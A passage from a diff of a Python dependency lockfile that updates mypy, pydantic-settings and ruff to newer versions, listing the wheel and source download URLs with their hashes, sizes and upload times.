hash = "sha256:37fa4de896a84e2dc9200d91e614c22563b43d1a266789d4bbac7b22ebe6192b", size = 15200144, upload-time = "2026-07-13T11:31:25.283Z" }, - { url = "https://files.pythonhosted.org/packages/56/72/766218ac783be4fdfcd699b90037b63017348a3e86fb2c1fbfb18302637d/mypy-2.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f1b3a98dfd21058bc759bb3337d5d1f61d0fdf9f3cf9c00f4291790fb5427bff", size = 15460389, upload-time = "2026-07-13T11:29:29.077Z" }, - { url = "https://files.pythonhosted.org/packages/38/4e/8a9db7411ecb8ec0cb1fd05dba432f28bafffcd38b4e887714a4a0506689/mypy-2.3.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:944c665d984157cb96a679dfb7a4a81dd1d36b24b9c284b699514e6e626b82d4", size = 7753664, upload-time = "2026-07-13T11:29:08.147Z" }, - { url = "https://files.pythonhosted.org/packages/65/4c/c3f8bfd6ed0e5e38b5a244403b27f821d433443df5a15a278417c10a3a3c/mypy-2.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:4359424140d985192c778c1ce2c114a10c1ca58a381ed79cfa70d37df94b299f", size = 11417237, upload-time = "2026-07-13T11:33:47.467Z" }, - { url = "https://files.pythonhosted.org/packages/3c/00/89a32eaf5ccf174bc4f90db0eaea5d70636c01b8d49f384bdab2e8834390/mypy-2.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:3dd0bed92c4bdec57c42505b96416fb9e6a5aa7be84d2809bcd5f2ecec2860d7", size = 10389252, upload-time = "2026-07-13T11:31:43.81Z" }, - { url = "https://files.pythonhosted.org/packages/31/56/104f93d69aa9f339b6b9d3b0a7faa699b8b466c942cf3ae86cc2a2ec0915/mypy-2.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:691fdc37132b1ae628d834f672e74de83462d9fb4aff621835767fb43a8dd373", size = 16385495, upload-time = "2026-07-13T11:29:49.818Z" }, - { url = "https://files.pythonhosted.org/packages/d2/03/f1d2123313f55efafdd27706960f43a771c62f1b68426c76043f3ab9ebf3/mypy-2.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:aec15d465d477558fd842757b487849007311cf3897849cdda0e3162ac0ac556", size = 15098155, upload-time = "2026-07-13T11:30:40.301Z" }, - { url = "https://files.pythonhosted.org/packages/e5/5d/d5f9200399b445e81726c4f23becee33f233aee81c72680b1ef3a258b641/mypy-2.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b352b7e49f5e6576009e8df730e1ff4f915cb565b851b396d2ffe2f5a6f5da88", size = 15514155, upload-time = "2026-07-13T11:34:38.569Z" }, - { url = "https://files.pythonhosted.org/packages/cd/ce/69977c555f08faa3190cfde44189b89dbd56861b1ab97aa18fc5f3a2e4a3/mypy-2.3.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c6c6bf687b17f90dbfcad95b960d32eaa0154c00da45f03ab50bf8952e047fe", size = 16766351, upload-time = "2026-07-13T11:33:29.195Z" }, - { url = "https://files.pythonhosted.org/packages/bc/92/6648b6caa3ab9e00f9ac0c2a78307805f873dd48139b24a6f6f7c3667bbf/mypy-2.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f4ed18f111bfe2d599bca7468e7f9251042c1c2118f762c8de2766a56d773c60", size = 17043490, upload-time = "2026-07-13T11:30:53.927Z" }, - { url = "https://files.pythonhosted.org/packages/7c/ab/0dc91d80f3f016634c68d451f294a97320fe903a9b6f90b9e57b3f7f1717/mypy-2.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0b025a93cffb9781d231f232be07a17912f35f10a313c24f301c81e842870654", size = 12146869, upload-time = "2026-07-13T11:29:38.874Z" }, - { url = "https://files.pythonhosted.org/packages/85/b5/4c964d02634ba81f4d1c84838e5c5b18ab06d13ed568960f5d6318495ccc/mypy-2.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:adebc76aab4f3495a88b41d48aa4aff0c03f2822501da76625afcca5975f19e5", size = 10965113, upload-time = "2026-07-13T11:28:07.056Z" }, - { url = "https://files.pythonhosted.org/packages/2c/fa/fdc54fe583ba3cafbcedfb70eeeaf03849f75b1827a07096c7bd996f582d/mypy-2.3.0-py3-none-any.whl", hash = "sha256:6b1cdb579446b60432432b2b2403a6201b4b475a004d7f488511c9ba177c9e88", size = 2753292, upload-time = "2026-07-13T11:33:18.48Z" }, + { url = "https://files.pythonhosted.org/packages/eb/b9/de8f67e12d721cdcc8ba6cfc440b989a4ba4dfabe4402ae94dfdd8bb30a4/mypy-2.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:57a936373fc690c43a8cd7e7e12a35148e4ec5aa7698ad7fc0a9f918bdc5be41", size = 14015541, upload-time = "2026-08-15T03:01:53.104Z" }, + { url = "https://files.pythonhosted.org/packages/f1/8a/9e746ab012c67ed8ea3232a613716c306ee8c0b5682c80d8103b4f04568e/mypy-2.3.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d00d769056bde2f4e69c175071eba45cfb44fa1ed92bdfbfe64a93e0543b0cf0", size = 14248142, upload-time = "2026-08-15T03:02:43.201Z" }, + { url = "https://files.pythonhosted.org/packages/f7/5c/c99ff2d8d0e2c53393e32dfe22d9aa43a5d959d30db46c786dafd24527d3/mypy-2.3.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2166b29228835e1f88ff411e96639e6ca3c7fdde84b62ec211f70f86b4051167", size = 15193309, upload-time = "2026-08-15T03:01:28.714Z" }, + { url = "https://files.pythonhosted.org/packages/64/39/124638f745243faae1ff4b37d5426fe41c0f0454535edc82fe8102b56a3c/mypy-2.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:83d36c2924df7426333abe7faf4724a7e1aab0d9fd41625e81b4683034b80c13", size = 15498246, upload-time = "2026-08-15T03:02:46.29Z" }, + { url = "https://files.pythonhosted.org/packages/b2/83/31c0781e243836505c0fb5f4e865487d6df1023e4ad959f4ebd4b84a0226/mypy-2.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:f12fdb70459d0060dea40b29e52163a961b156106d68d57882a6a9f648983a53", size = 11155028, upload-time = "2026-08-15T03:01:39.08Z" }, + { url = "https://files.pythonhosted.org/packages/a0/ab/bc2eb0129e72d7d7d93d5e981a78084a9abefda7efa732a7e02f97d6e27d/mypy-2.3.1-cp310-cp310-win_arm64.whl", hash = "sha256:e099200a1b1b1223a4951f0a90cbff1b8c91b250ba599dab1f7217a628144d90", size = 10151438, upload-time = "2026-08-15T03:02:19.04Z" }, + { url = "https://files.pythonhosted.org/packages/a4/be/c624d4241484f37dc62839e177ab607a9b8b3e96f0866544ca99e8e41d51/mypy-2.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:94f04929f1c44c35fb0061e912087edaf504acede963a4a7d00680bd089d8531", size = 13936739, upload-time = "2026-08-15T03:03:26.475Z" }, + { url = "https://files.pythonhosted.org/packages/53/84/e3cf72f90dce5960871c82551c8fba6da05fc1018f79be41c047bd126bdd/mypy-2.3.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5d716048611e85ca9eefb2e1baa5d73ede389b5820ded260ea27c757d667af8", size = 14166460, upload-time = "2026-08-15T03:01:50.565Z" }, + { url = "https://files.pythonhosted.org/packages/4a/ff/6b97d58aa0f79a5ab9b472db1f6d6df1b11a51d74d0c08ab3760d3a613ba/mypy-2.3.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b091a455111214cb5c9d54a57b9618e9a49f9fe2a42e4e1ac86e9d104ed96ce8", size = 15100476, upload-time = "2026-08-15T03:03:12.079Z" }, + { url = "https://files.pythonhosted.org/packages/da/f0/cbb4b7d2ae3ac635f6b4f2d9b04070b8a92edf50da599d3b39e5ed109001/mypy-2.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:df12e20c9efd614738c71b390007ecd0181125afc4ccafca04d78a1d2eed2c01", size = 15347826, upload-time = "2026-08-15T03:03:02.856Z" }, + { url = "https://files.pythonhosted.org/packages/5f/10/91dcdc6f8d43fc08e6a06ab1f9732f3abaaf835ac1b2e67b9dff56910855/mypy-2.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:52eaf3a155f35cf80b40220288c861eb45f14a2340c1f6cbfbdb0feff32879d1", size = 11142615, upload-time = "2026-08-15T03:03:36.316Z" }, + { url = "https://files.pythonhosted.org/packages/3d/8a/28d54535bf4b9aa43b2d8918c2ef660378b9f66b23d78dcee052744ae622/mypy-2.3.1-cp311-cp311-win_arm64.whl", hash = "sha256:9b4eacbee8a69836c06eff6d0dd4e134a07c2b047755b30c08625fe214f322c6", size = 10141145, upload-time = "2026-08-15T03:03:07.406Z" }, + { url = "https://files.pythonhosted.org/packages/85/da/d6effc4f808a842d91edc22535dc9e799d2ff6e91449168b7f47a0771f54/mypy-2.3.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a32bbbb940af990d3be0b8af321c7b6815bb1b3b48142fe7459b9cc5f58959ff", size = 14047547, upload-time = "2026-08-15T03:02:57.707Z" }, + { url = "https://files.pythonhosted.org/packages/e4/e6/478229701dab76f26485fc8ff5d6f241f393da22447400bbc56f6946aebe/mypy-2.3.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff715e45b2231a8e85de1d163d1b42791e4d7aab8f5145f85fee1b710b735aff", size = 14216515, upload-time = "2026-08-15T03:01:26.496Z" }, + { url = "https://files.pythonhosted.org/packages/8d/fe/7c42327a3b21e84681f691982cbfe43f334a3685f3b683b72c376476c4fa/mypy-2.3.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:858fc57d3d91fa728e33e7ad71def60fc6272694607b306cd3292db53ae39080", size = 15307789, upload-time = "2026-08-15T03:03:31.62Z" }, + { url = "https://files.pythonhosted.org/packages/59/f4/7e597edbe01b5a56fa958ce541302dcaabfed979966f1dffedbea0ea0fc2/mypy-2.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:851833db876e7b650f93719c74b7879a08e338979c96054fdfc3bfd90a486355", size = 15548831, upload-time = "2026-08-15T03:03:15.55Z" }, + { url = "https://files.pythonhosted.org/packages/a3/52/cb31e084bc0314a1e384bdd677a4b80e55af04ccac077545e2238b9d320a/mypy-2.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:4c5095a327483591c94e0c8d3ef9e50d4ab1369b541eae007c1f23bc2a41f6bb", size = 11226359, upload-time = "2026-08-15T03:03:29.002Z" }, + { url = "https://files.pythonhosted.org/packages/7a/47/88fcf6217b43fa2da81a8c2611370af18141536a4f0294bbf98b457d456d/mypy-2.3.1-cp312-cp312-win_arm64.whl", hash = "sha256:bbfe022634a2a195406bd469e888d2eaf193b02ba7e607391cd7640374aaae3b", size = 10214707, upload-time = "2026-08-15T03:02:48.807Z" }, + { url = "https://files.pythonhosted.org/packages/de/cf/862010ee800ca9c2bd0c4c0dacf0f092e5411824a09b8f97ad4be8fe250e/mypy-2.3.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:114dff494000f18bd10d5d95d84b8567b26da60279ecbe838131841df20e635d", size = 13964542, upload-time = "2026-08-15T03:02:21.43Z" }, + { url = "https://files.pythonhosted.org/packages/75/5a/3f3a2107b41e3e92e617e25daaee121413b91e9784bea733131ed4fecc5d/mypy-2.3.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8637731bb5eee3671eb2c3200827aa3564ed8a9309ecee4d1afe77e6d031bdb", size = 14168922, upload-time = "2026-08-15T03:03:00.351Z" }, + { url = "https://files.pythonhosted.org/packages/8b/41/04dc4fe7e63d7820fa4eff272e95157d30cbea921388f3ab3fe77794cd0b/mypy-2.3.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c80fbc405ed8020f5ff3802dc18cf060197bcdd3fbdd6a26ef2fd34dfdd5226", size = 15244791, upload-time = "2026-08-15T03:02:31.089Z" }, + { url = "https://files.pythonhosted.org/packages/96/fc/c3053b26b9054949285aa868cb6af8c10e7591541cacd79c5dcc06a1fcf9/mypy-2.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:84081f538ce27375045c02e3d7f81bd11d853400621ae245d87ce7b6c420ec74", size = 15501627, upload-time = "2026-08-15T03:03:34.128Z" }, + { url = "https://files.pythonhosted.org/packages/70/4e/d77daab008bbc4e5001374d7928f4a260d28f0e6747af444fc4763f7a310/mypy-2.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:e9144ac16fde007096f9563eb2041b4433c2d705c4218edeb79e7e9d01035ee6", size = 11243961, upload-time = "2026-08-15T03:02:11.952Z" }, + { url = "https://files.pythonhosted.org/packages/f0/f8/7eb68c136e4abd30569fe31ef2bfcb7eceae9952cab80017c04cd09f5d0c/mypy-2.3.1-cp313-cp313-win_arm64.whl", hash = "sha256:77ad9529e67dca28e511f5cd5671436584ce91f6d3bac159a353158187b986ac", size = 10213219, upload-time = "2026-08-15T03:02:26.361Z" }, + { url = "https://files.pythonhosted.org/packages/be/c4/42a49d44aeff804edf1b19acce0b49e8bd1a9c57dee9605dd8d980aa43d7/mypy-2.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:192abaedf75da1bc0b1cef104927e70ec49c1ef0031cc4825c7ee10a438ed24d", size = 13986778, upload-time = "2026-08-15T03:01:33.69Z" }, + { url = "https://files.pythonhosted.org/packages/45/13/9331fd2dfed7194d66c5304072894a8be3e51e9deda6863c1eceaa35a43d/mypy-2.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf678dffd16efcda2c15cbd30e9ecc0081388e29ea23687a88e686ed92638dc3", size = 14188467, upload-time = "2026-08-15T03:02:40.554Z" }, + { url = "https://files.pythonhosted.org/packages/78/f7/f4a34edab45667c5465855dc585a20e87978ffa8aee711445b7239d120c6/mypy-2.3.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e036f06b41630f4c8a1d48f9ac6aa26acc65f8be089973f5519da643318f03f", size = 15225538, upload-time = "2026-08-15T03:03:09.761Z" }, + { url = "https://files.pythonhosted.org/packages/40/05/534b3590757bd05794f73e07f6666c2a77b8597ffed795c94ce570096aa0/mypy-2.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:71af9c8a894e862b58e92abb08e53b05a384a1e5e5d6dc7cda59126211a53d82", size = 15480805, upload-time = "2026-08-15T03:01:41.134Z" }, + { url = "https://files.pythonhosted.org/packages/55/da/bdfba852e2562f599624af5bb7d29e36b0b4f526f2b8bac85efe0dd1803d/mypy-2.3.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:3c80cd23d85368bdd9f37d5231dfd97d35bcbf5bf41af96ef3a9b078ad1957f9", size = 7761712, upload-time = "2026-08-15T03:02:36.008Z" }, + { url = "https://files.pythonhosted.org/packages/98/31/60fc64a74cdba4f2a5d642d32317993e479163e1ac7d91b695e5d15e2264/mypy-2.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:4956f34d145e145562a0a0bf367f642bbc85c04ec2baf47ae015947c3169a85d", size = 11423968, upload-time = "2026-08-15T03:02:06.931Z" }, + { url = "https://files.pythonhosted.org/packages/a9/23/eb5950b24cd26ba3b78f87707a275568d633c77dae8e61c9661be6055ca6/mypy-2.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:cfb12e360242d23d91f5e978d94f58ea66acf5804c4fb6f2f794a20d4cb1b595", size = 10399323, upload-time = "2026-08-15T03:02:33.671Z" }, + { url = "https://files.pythonhosted.org/packages/82/c7/f80f4e46c0b9a00eb5f78a79d49dda8bdf56a5230f7257fb33e76be04da7/mypy-2.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5f1c50bb05b64e2026b52867e8d21106f01313c744a2c4ecc34c90d12e8d6e2", size = 15121308, upload-time = "2026-08-15T03:01:46.053Z" }, + { url = "https://files.pythonhosted.org/packages/5d/74/9b04f17c7074cc5188f02fb63a2ca1d43fedf479e84fe3091c39061a1d7f/mypy-2.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:667196b352f4cf304ded4c10f90cfc179263a1acfb3cdcfa984bdfd340d498bc", size = 15536590, upload-time = "2026-08-15T03:01:35.941Z" }, + { url = "https://files.pythonhosted.org/packages/26/04/c837ef6208e567774e2ed1f863f8ba6ec4817b1b6dd426315e5d559b6ec9/mypy-2.3.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b9c53e395c12cad2c6d4b67d5da7c6057638a132d85c08b73646b18f802a0045", size = 16791074, upload-time = "2026-08-15T03:01:31.073Z" }, + { url = "https://files.pythonhosted.org/packages/37/68/48730230afa45192d5bd429a6a2ff24a6f8dedda90fdf2b221792b54518f/mypy-2.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:18162b128c3f9c703cd35f5537446900b0d21a2549aa7a95d21380d2ef643fb0", size = 17069183, upload-time = "2026-08-15T03:02:28.566Z" }, + { url = "https://files.pythonhosted.org/packages/1c/ea/ca23fc9c20eeda09a15c9cbcf50015d0e73f409f6ead059e42aa69a608ff/mypy-2.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:30c0477d4aab7b7f39c8397dc877f2c96b9fe5588ec379f372c56eb63d599f63", size = 12154679, upload-time = "2026-08-15T03:02:04.809Z" }, + { url = "https://files.pythonhosted.org/packages/3b/67/8d982126034990869466f73b8db80dcb2234a7ac39b4dad093e047a79835/mypy-2.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6941ab3619377bc3f32ca02876b07d27f216f5201604b664d3937ea0fdd23bb4", size = 10969159, upload-time = "2026-08-15T03:02:38.152Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f7/41e7f2d8117fbc7a7587286162ffe2f688984b69c46ed63cf5f2e4fc3bae/mypy-2.3.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:6f041a6de52c9217ca125e78ba0a335cb7fd98a1c0580978e49ab2b126f70b57", size = 13990694, upload-time = "2026-08-15T03:03:21.919Z" }, + { url = "https://files.pythonhosted.org/packages/06/85/8f665811a0c8f3bf6fa1d9acd665ec2d97a2bcc453ae68dcd92340941cd6/mypy-2.3.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5159ae60f5dbc3a498af5ba8365505808ac8031bc63f9e00304ad545d40bdd9b", size = 14203518, upload-time = "2026-08-15T03:01:48.455Z" }, + { url = "https://files.pythonhosted.org/packages/2d/82/91b866c8546b120bff83b73a439d90d2d63ef3aff113599e6b8e4d566848/mypy-2.3.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47a8a7a0a7f6f6e63995c0ac36fa0c07b127413fdc81f0439b7f3dccafd33561", size = 15220224, upload-time = "2026-08-15T03:01:23.577Z" }, + { url = "https://files.pythonhosted.org/packages/c8/78/c226c99208ee40de7c768369fa533f933afa003dfdc606ff021450724e91/mypy-2.3.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2329c0501293d4e1f33bc15d04d6304d65a1cdda967ee93a05c1e681a3923133", size = 15501512, upload-time = "2026-08-15T03:02:09.453Z" }, + { url = "https://files.pythonhosted.org/packages/a9/e7/7cfb3f106c393979f4cc37ad6c0586044d50401e3c35b0c003e4f3ba6bc9/mypy-2.3.1-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:bb26deed807bdb0457cf3e3f1cd7c4a1cf9d66864eaf1b4a61e06805d4c6b1f9", size = 7761913, upload-time = "2026-08-15T03:01:55.65Z" }, + { url = "https://files.pythonhosted.org/packages/99/3c/52affefa273b97939a1f474ae4a349c8718635c15b941112dfab4291b0c1/mypy-2.3.1-cp315-cp315-win_amd64.whl", hash = "sha256:375d7013876a8233b2d05be185bfa09f689696cd999ce8b1cfe6acac5c80e8a3", size = 11422533, upload-time = "2026-08-15T03:03:24.101Z" }, + { url = "https://files.pythonhosted.org/packages/2a/b7/75643e70c72a5b346d8a9b1543c967ea8824df2ee3fb7ccba652c272b7bb/mypy-2.3.1-cp315-cp315-win_arm64.whl", hash = "sha256:586b3612214cceabb3c0f588c97e7d1e535393f06a60e912e994f6b3ace97523", size = 10397931, upload-time = "2026-08-15T03:02:55.265Z" }, + { url = "https://files.pythonhosted.org/packages/10/ce/53be21f2d4adfcd26f63f1184a13ed797015ab463853f117e2e11e4d726f/mypy-2.3.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:ef0c6335cda9d807f8193d8ff6204a72bc909fa9882aacbca14f43cdb7188306", size = 15118669, upload-time = "2026-08-15T03:02:51.479Z" }, + { url = "https://files.pythonhosted.org/packages/62/43/20de757cd42989d291a17fad607742c4c74e875ce5cea00e5a5225020ac1/mypy-2.3.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e598c8c66401d26b150872154a286e6d484cf2789c3bb28a7556806298423021", size = 15545627, upload-time = "2026-08-15T03:03:05.132Z" }, + { url = "https://files.pythonhosted.org/packages/7e/fc/092bdf77ad280eaf501422f0f3b966012b528076cc13e41a774861c907d1/mypy-2.3.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eda22fd4efa9dcd39331d1dede9b5b8b8a7fd69af07592e778433da98610d29e", size = 16764157, upload-time = "2026-08-15T03:02:23.958Z" }, + { url = "https://files.pythonhosted.org/packages/94/5c/c94c4d62d909b07f552d0d9356d7acc943825558e602a64822ffa2231536/mypy-2.3.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:2a0ba2e57847849fb0d1fcdabb32786d223095ed8bc121dfe322bcdb3d9c46bc", size = 17073258, upload-time = "2026-08-15T03:02:14.573Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f7/511a88b89e478053c02d22039bb8f3ce4183efe8fd7a4f0a5910a8bb0a32/mypy-2.3.1-cp315-cp315t-win_amd64.whl", hash = "sha256:3f7e865dd51f235f60a2dbcd8728a1c095f5ca28f095d48a725b84cd935735c4", size = 12135505, upload-time = "2026-08-15T03:02:16.714Z" }, + { url = "https://files.pythonhosted.org/packages/71/bf/02573b56964ecb0f7c644f915f53c325ae15c3faec521c5adf11599a32df/mypy-2.3.1-cp315-cp315t-win_arm64.whl", hash = "sha256:8ad80807dc3ab8ea978b1b2b6e4a657194ace1d4ef03e0e731aff1abd517da29", size = 10962647, upload-time = "2026-08-15T03:01:43.712Z" }, + { url = "https://files.pythonhosted.org/packages/8e/41/9675c7a1e78edecfba0b79e587a52594c56e189368261dc7b3a7fffb9527/mypy-2.3.1-py3-none-any.whl", hash = "sha256:6ed5c7e3419083268e5c9258bd1c1ef91af44a9e89374dbcaf37b775716e72eb", size = 2754338, upload-time = "2026-08-15T03:02:53.4Z" }, ] [[package]] @@ -1386,16 +1393,16 @@ wheels = [ [[package]] name = "pydantic-settings" -version = "2.14.2" +version = "2.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pydantic" }, { name = "python-dotenv" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f", size = 237700, upload-time = "2026-06-19T13:44:56.324Z" } +sdist = { url = "https://files.pythonhosted.org/packages/68/ca/31c57507b13119d7d3cfa1576dad2911a4861e3be07b579395f4e9d393f9/pydantic_settings-2.15.0.tar.gz", hash = "sha256:694b793e84f766ba76a90ebdefc01d0a9a045dab0382bee70393da93712ad117", size = 261253, upload-time = "2026-08-07T09:24:57.419Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440", size = 61715, upload-time = "2026-06-19T13:44:55.02Z" }, + { url = "https://files.pythonhosted.org/packages/30/a4/2bffa9f8e804325a09867f0e9d30795c80ea9f8d62560bd1b6ad6220eb2f/pydantic_settings-2.15.0-py3-none-any.whl", hash = "sha256:0ba092c291c94baceb5eff768aa0d56400a457585bc0175925a5a5510303da42", size = 69413, upload-time = "2026-08-07T09:24:55.839Z" }, ] [[package]] @@ -1780,27 +1787,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.1" +version = "0.16.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/70/25/7113f6d5498888c5fb7db34081cba7d5971c4cb1bfb26819966eee68f003/ruff-0.16.1.tar.gz", hash = "sha256:fedad7c801dabd3fb9741d76aca39246e6ddd9ca446a015875207bf19f1e6bc7", size = 4877500, upload-time = "2026-07-30T19:37:01.379Z" } +sdist = { url = "https://files.pythonhosted.org/packages/00/8f/d8074b1f25e003164087a8bfe79a0f1a3945135764dbb6aaab04103dcaf9/ruff-0.16.4.tar.gz", hash = "sha256:13171aa9d9af2240ee3504e639de73122c67e74036de5ba2e1d01422cd17e3dc", size = 4899731, upload-time = "2026-08-20T17:43:59.196Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1b/bd/694da69368e0973de65df2ddc73ab18d43c469d5963d9b150911de6bc513/ruff-0.16.1-py3-none-linux_armv6l.whl", hash = "sha256:58edb313b88f0c5460a26adf5f39a37a3be789494a15e3e411e35fa78b89f9a0", size = 10839126, upload-time = "2026-07-30T19:36:13.697Z" }, - { url = "https://files.pythonhosted.org/packages/3f/f0/b626e5d5bd0dd9576263658ef12885e2288afd1029a48e26ffed65ec1ac1/ruff-0.16.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fde5a99e2f97479af66edd6622c6d5a2a7592c77cf4153d9e4428f5eeb55b60c", size = 11070253, upload-time = "2026-07-30T19:36:17.14Z" }, - { url = "https://files.pythonhosted.org/packages/83/63/f40acfb6b35b88623e71684942b552c3edd96035f5d98f313815f7b277de/ruff-0.16.1-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e0d4c20532fca4f7fa609369161d968dd28f65d83dabbd61d8e9c7edbf7001f6", size = 10561425, upload-time = "2026-07-30T19:36:20.04Z" }, - { url = "https://files.pythonhosted.org/packages/aa/dd/14ec0e9c2b4d315547dd38765004b4863e354e1b52cb308272215d9f6f6d/ruff-0.16.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30affbcedf59ad5703d9c91f82266e02b47739f797e1a7b6e158e5526a6dae38", size = 10948879, upload-time = "2026-07-30T19:36:22.476Z" }, - { url = "https://files.pythonhosted.org/packages/33/e9/9d870cbae575030fdef595f04b4b97573c525b5497cce4f4498cf2f85446/ruff-0.16.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:24e9c631573cbca9d20f1283f8f479b2afa4a8503504822bd71a293889f16743", size = 10643691, upload-time = "2026-07-30T19:36:24.914Z" }, - { url = "https://files.pythonhosted.org/packages/c4/09/12743d544e2173f53ecd27217c65f90d2bc0f8424a66a60339e56bbc0457/ruff-0.16.1-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b41bdd48fb420987a9b5212e4957c26ad4abce401fa9ea9d4d85843727945f4f", size = 11435354, upload-time = "2026-07-30T19:36:28.447Z" }, - { url = "https://files.pythonhosted.org/packages/7f/89/a1652b2daee52083c9554a6333b678a8b01d0400f976827bb87857f9449a/ruff-0.16.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b0d1e1393b7648079e13669de1c1f4fde06d4583e84d8fd5c1551e0a77a2aa75", size = 12259033, upload-time = "2026-07-30T19:36:31.326Z" }, - { url = "https://files.pythonhosted.org/packages/16/96/ecdcb8c54ee7b123b487f807eb014e6e019155a0b81dfb669acd52f28ce3/ruff-0.16.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:07bf434b1c95f4e093be4532068ef4fcf00924eb2ade8796075980902d6fd54a", size = 11667981, upload-time = "2026-07-30T19:36:34.394Z" }, - { url = "https://files.pythonhosted.org/packages/cd/90/c52e12e0d862e9572f2a33aa227409143520abe53111e9a6babbac7b4af8/ruff-0.16.1-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39897739f112253ee4fdd2e8aa9a4f9ded99fb2be367d5f31dfa4ded6025584c", size = 11468183, upload-time = "2026-07-30T19:36:37.339Z" }, - { url = 